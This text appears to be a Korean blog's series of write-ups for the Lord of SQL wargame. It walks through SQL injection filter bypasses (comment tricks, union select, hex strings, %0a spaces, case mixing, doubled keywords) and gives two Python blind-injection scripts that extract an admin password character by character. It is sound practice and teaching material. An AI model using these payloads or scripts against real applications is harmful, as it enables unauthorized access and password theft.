뒤에 and 1=0 때문에 무조건 거짓이 됩니다.

그렇다면 뒤 부분을 주석 처리하고 "admin" 이라는 글자를 만들어 주면 됩니다.



저는 union select를 이용해서 문제를 해결했습니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] darkknight  (0) 2018.10.06
[LOS] golem  (0) 2018.10.06
[LOS] vampire  (0) 2018.10.06
[LOS] troll  (0) 2018.10.06
[LOS] orge  (0) 2018.10.06

이번에는 str_replace() 함수로 "admin" 문자열을 ""으로 치환해주는 함수입니다.



그렇다면 간단하게 aadmindmin 과 같이 전송하면 가운데 "admin"만 사라지게 되고

'admin' 이 남아서 해결됩니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] golem  (0) 2018.10.06
[LOS] skeleton  (0) 2018.10.06
[LOS] troll  (0) 2018.10.06
[LOS] orge  (0) 2018.10.06
[LOS] darkelf  (0) 2018.10.05

id만 입력할 수 있고 "admin"이라는 문자를 입력할 수 있으면 성공하는 문제입니다.


single quarter도 막아두어 union select로 강제로 만들 수 없고, hex값을 이용할 수 도 없습니다.

또한 ereg()로 "admin" 문자열을 막아두어 바로 인증을 할 수 없습니다.



하지만 php는 대소문자를 구분하지 않기 때문에, ereg()는 대문자와 소문자를 적절히 섞어주면 필터링 되지 않습니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] skeleton  (0) 2018.10.06
[LOS] vampire  (0) 2018.10.06
[LOS] orge  (0) 2018.10.06
[LOS] darkelf  (0) 2018.10.05
[LOS] wolfman  (0) 2018.10.05

or, and 를 필터링하고 있으며 addslashed()로 '(Single Quarter)를 막고 있습니다.

하지만 Query가 2번 있고, 두번째 Query하기 전에만 Single Quarter를 막기 때문에 문제되지 않습니다.


해당 문제는 Blind Sql Injection으로  풀었는데, 두번째 Query의 결과로 참 거짓을 판별할 수 없기 때문입니다.



우선 or는 || 로 대신 사용할 수 있습니다.

참일 경우 다음과 같이 "Hello guest"라는 문장이 나오게 됩니다.


그렇다면 앞선 문제처럼 'admin'으로 성공하면 "Hello admin"이라고 나온다고 생각할 수 있습니다.



첫 Query에서 id='admin'을 하는 이유는 테이블에 다른 계정의 pw의 개수가 짧을 경우에 먼저 나오기 때문입니다.

(아래 주석으로 해도 guest pw는 15자리로 문제가 없긴 합니다.)


and는 &&로 바꾸면 되지만 URL에서 &는 [id=test&pw=test] 처럼 변수를 구분하는 용도로 쓰이기에 미리 인코딩한 값으로 해야 합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?'
password = ''
length = 0
 
 
#pw 갯수 구하기
for i in range(1,99):
    query = "pw=' || id='admin' %26%26 length(pw)="+str(i)+"%23"
    #query = "pw=' || length(pw)="+str(i)+"%23"
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("Hello admin")>0):
        length = i
        print("length: "+str(length))
        break    
 
#pw 구하기
for i in range(1,length+1):
    for j in range(33,127):
        query = "pw=' || id='admin' %26%26 substr(pw,1,"+str(i)+")='"+password+chr(j)+"'%23"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] vampire  (0) 2018.10.06
[LOS] troll  (0) 2018.10.06
[LOS] darkelf  (0) 2018.10.05
[LOS] wolfman  (0) 2018.10.05
[LOS] orc  (0) 2018.10.05

이번 문제는 or, and 를 필터링 한 문제입니다.


근데 이전 문제들처럼 union을 사용하면 깔끔하게 해결이 됩니다.. ^___^



원래 의도는 다음과 같이 or 대신 ||, and 대신 &&를 사용하라는 의도였을 것이라 생각됩니다.



'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] troll  (0) 2018.10.06
[LOS] orge  (0) 2018.10.06
[LOS] wolfman  (0) 2018.10.05
[LOS] orc  (0) 2018.10.05
[LOS] goblin  (0) 2018.10.05

id는 'guest'로 고정되어 있으며 pw값을 가지고 문제를 풀면 됩니다.


preg_match()로 space bar를 필터링 했습니다.

id가 'admin'으로 되면 문제가 풀립니다.


앞선 문제와 비슷한데 space bar 필터링만 추가 되었습니다.



우선 space bar 필터링 우회를 해야 합니다.

%20은 space bar를 나타냅니다. 그리고 %0a로 space bar 효과를 낼 수 있습니다.


%0a는 개행을 나타내는 기호입니다. DB Query를 할 때 개행을 하더라도 ; 가 나올 때까지 읽어 들이기 때문에

결국 space bar나 개행은 동일한 효과를 냅니다.



space bar에 대한 문제를 해결 했으니 앞선 문제처럼 union select를 이용해서 문제를 해결하시면 됩니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] orge  (0) 2018.10.06
[LOS] darkelf  (0) 2018.10.05
[LOS] orc  (0) 2018.10.05
[LOS] goblin  (0) 2018.10.05
[LOS] cobolt  (0) 2018.10.05

이번에는 pw 부분만 입력이 가능합니다.

id는 'admin'으로 고정이 되어있고 입력한 pw값과 쿼리 결과 pw가 동일해야 문제가 풀립니다.


요행으로 참으로 만들어도 안된다는 말입니다.

정확한 pw값을 찾아야 하는 문제입니다.



우선 Query를 참으로 만들어 무슨 값이 나오는지 확인해봅니다. 

"Hello admin"이라는 값이 나옵니다.


참이 아닐 경우에는 아무런 값을 나타내지 않기 때문에 여기서 Blind SQL Injection을 통해서 문제를 해결해야 합니다.



Blind SQL Injection을 수행하기 앞서 먼저 pw의 길이를 알아내야 합니다.


length() 함수는 해당 칼럼의 길이를 알 수 있습니다.

지금 id는 'admin'으로 고정되어 있기 때문에 자연스럽게 'admin'의 pw길이를 가져오게 됩니다.


수차례 해보면 8자리라는 것을 확인할 수 있습니다.


길이를 알아냈으니 Python으로 코드를 만들어 풀어봅니다.


requests 모듈을 통해서 풀어봤습니다.

GET방식으로 전송하기 때문에 requests.get() 함수를 사용합니다.


SQL 함수인 substr()을 사용해서 문자를 하나씩 알아내면 됩니다.

※ substr(str, start, len): 해당 문자열의 시작 인덱스부터 정해진 길이까지의 문자를 가져옴


그리고 Query가 성공하면 "Hello admin"이라는 글자가 나타나니 해당 글자를 찾으면 성공했다고 판단하면 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?'
password = ''
 
for i in range(1,9):
    for j in range(33,127):
        query = "pw=' or substr(pw,1,"+str(i)+")='"+password+chr(j)+"'%23"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



8자리의 비밀번호를 획득하고 인증하면 성공하게 됩니다.

(소문자로 해야 인증됨)


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] darkelf  (0) 2018.10.05
[LOS] wolfman  (0) 2018.10.05
[LOS] goblin  (0) 2018.10.05
[LOS] cobolt  (0) 2018.10.05
[LOS] gremlin  (0) 2018.10.05

no의 특정 값을 넣고 id의 'admin'의 값이 나오도록 만들어야 합니다.


하지만 id에 이미 'guest'가 하드코딩 되어있고 우리는 no의 값만 조작할 수 있습니다.


우선 숫자로 임의의 숫자를 입력합니다.

1을 입력해보니 guest가 나오는 것을 보면 guest의 no는 1인 것을 알 수 있습니다.


다른 숫자들로 해보면 아무 값도 나오지 않으니 어떤 구문을 넣어서 해결해야 할 것으로 보입니다.


cobolt 문제에서 union select를 사용해봤으니 이번 문제에서도 해봤습니다.

no 1번은 guest값일 테니 그 외 다른 값을 사용해야 합니다.


처음에 2 union select admin 으로 해보니 아무 값이 나오지 않았습니다. 당연히 admin이 문자열로 지정 안 해서 그랬던 겁니다.

두번째는 2 union select 'admin' 으로 해보면 Single Quote 가 필터링 되어있기 때문에 되지 않습니다.


preg_match에서 Single Quote를 우회하는 가장 간단한 방법은 hex값으로 보내면 됩니다.

'admin'을 hex값으로 변경하면 0x61646d696e가 되며 다음과 같이 성공하게 됩니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] darkelf  (0) 2018.10.05
[LOS] wolfman  (0) 2018.10.05
[LOS] orc  (0) 2018.10.05
[LOS] cobolt  (0) 2018.10.05
[LOS] gremlin  (0) 2018.10.05

gremlin 문제와 유사하지만 id 값이 'admin'이어야 풀리는 문제입니다.



전과 동일한 방법이지만 id는 'admin'으로 하기 위해 admin' or 1=1%23 을 입력해봅니다.

뒤에 md5로 해쉬가 되고 괄호가 있지만 주석으로 인해 무시가 됩니다.


하지만 'admin'으로 Query를 보냈는데도 'rubiya'라는 계정으로 인식이 되었습니다.

'admin'말고 'test', 'abc' 등등 다른 문자열을 입력해도 'rubiya'로 되는 것을 보면 테이블의 혹시 'rubiya'만 있을 것 같다는 생각이 들었습니다.



그래서 union select 를 이용하여 문제를 풀었습니다.


그전에 select 'admin'을 한다면 무엇이 반환 되는지 알아야 합니다.

아래 보시는 것같이 select 하고 뒤에 칼럼명이 아닌 문자열이 온다면 해당 문자열을 반환하게 됩니다.


이것을 이용해서 select 'admin'으로 admin 값을 얻을 수 있습니다.



그럼 테이블에 없을 것 같은 'admin'을 불러오기 위해 union select 'admin'으로 'admin' 값을 획득 할 수 있습니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] darkelf  (0) 2018.10.05
[LOS] wolfman  (0) 2018.10.05
[LOS] orc  (0) 2018.10.05
[LOS] goblin  (0) 2018.10.05
[LOS] gremlin  (0) 2018.10.05

내용을 보시면 별다른 이야기는 없으며 Query를 보내고 result의 무슨 값이든 하나만 들어있으면 통과하는 문제입니다.


따라서 해당 Query를 언제나 참으로 만드시면 됩니다.


흔히 SQL injection을 배울 때 처음 쓰는 ' or 1=1 을 사용하시면 쉽게 해결 할 수 있습니다.

하지만 id의 값을 넣고 뒤에 pw 또한 검증하니 뒤 부분을 주석 처리해서 없애주시면 됩니다.


처음에 --를 주석으로 이용해서 해봤더니 되지 않습니다.

(다 풀고 안 사실. -- 뒤에 공백이 있어야 주석으로 인식되므로 %20을 추가해야 함)



#으로 주석 처리를 하려고 했는데 왠지 모르게 표시가 되지 않고 문제가 풀리지 않습니다. 

Query에는 이상이 없다고 생각하지만 풀리지 않는군요..



굳이 주석을 이용하지 않아도 id/pw 모두 'or '1'='1 을 입력하시면 해결은 됩니다.

1을 '(SingleQuarter)로 감싸준 이유는 id='{$_GET[id]}소스 코드를 보시면 문자열로 넘어가기 때문에 '(SingleQuarter)로 감싸지기 때문입니다.



문제를 풀고 알아보니 URL에서는 #을 인식하지 못한다고 하네요.

#을 사용하려면 URL인코딩 한 값인 %23을 사용하시면 됩니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] darkelf  (0) 2018.10.05
[LOS] wolfman  (0) 2018.10.05
[LOS] orc  (0) 2018.10.05
[LOS] goblin  (0) 2018.10.05
[LOS] cobolt  (0) 2018.10.05

+ Recent posts